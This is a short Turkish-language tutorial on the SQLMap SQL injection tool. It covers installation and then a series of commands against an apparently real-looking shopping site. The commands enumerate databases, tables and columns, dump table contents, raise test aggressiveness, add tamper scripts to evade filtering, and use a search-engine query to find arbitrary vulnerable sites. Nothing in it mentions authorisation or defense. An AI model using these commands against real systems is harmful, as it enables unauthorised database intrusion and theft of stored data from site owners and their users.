- İlk adım olarak, SQLMap'ı bilgisayarınıza indirin ve kurulumunu gerçekleştirin. SQLMap, Python tabanlı bir araç olduğu için Python yüklü olmalıdır.
- Windows kullanıcıları için, SQLMap'in GitHub deposundan ZIP dosyasını indirip, dosyaları bir klasöre çıkartabilirsiniz. Linux kullanıcıları için, SQLMap genellikle dağıtım depolarında bulunur ve apt veya yum gibi paket yöneticileri aracılığıyla yüklenebilir.
- Terminal veya komut istemcisini açın ve SQLMap'i çalıştırın.
- SQLMap'in ana kullanım biçimi, hedef URL'yi belirtmek ve ardından gerekli seçenekleri eklemektir.
ÖRNEĞİN : sqlmap -u "http://example.com/login.php?id=1"
- SQLMap, GET veya POST parametrelerine otomatik olarak SQL enjeksiyon payloads ekler. Bununla birlikte, bazı durumlarda manuel olarak parametreleri belirtmek gerekir.
- Örneğin: --data veya --data-binary seçenekleri, POST verilerini belirtmek için kullanılır.
Hedef URL Belirleme
- SQLMap'i kullanmadan önce hedef web uygulamasının URL'sini belirleyelim.
http://alisverismarketim.com/login.php?id=1
# Tüm veritabanlarını listele
sqlmap -u " http://alisverismarketim.com/login.php?id=1 " --dbs
# Belirli bir veritabanındaki tabloları listele
sqlmap -u " http://alisverismarketim.com/login.php?id=1 " -D dbname --tables
# Bir tablodaki sütunları listele
sqlmap -u " http://alisverismarketim.com/login.php?id=1 " -D dbname -T tablename --columns
# Veritabanından veri çek
sqlmap -u " http://alisverismarketim.com/login.php?id=1 " -D dbname -T tablename --dump
sqlmap -u " http://alisverismarketim.com/login.php?id=1 " --data="username=test&password=test"
# Enjeksiyon testlerinin agresifliğini belirler
sqlmap -u " http://alisverismarketim.com/login.php?id=1 " --level=5
# Enjeksiyon testlerinin risk seviyesini belirler
sqlmap -u " http://alisverismarketim.com/login.php?id=1 " --risk=3
# Çoklu iş parçacığı kullanarak taramayı hızlandırır
sqlmap -u " http://alisverismarketim.com/login.php?id=1 " --threads=10
# Tarama için bir HTTP proxy'si belirtir
sqlmap -u " http://alisverismarketim.com/login.php?id=1 " --proxy="http://127.0.0.1:8080"
# HTTP istekleri üzerinde otomatik olarak değişiklik yapmak için kullanılır
sqlmap -u "http://alisverismarketim.com/login.php?id=1" --tamper="space2comment.py"
sqlmap -g "index.php?=12" --dbs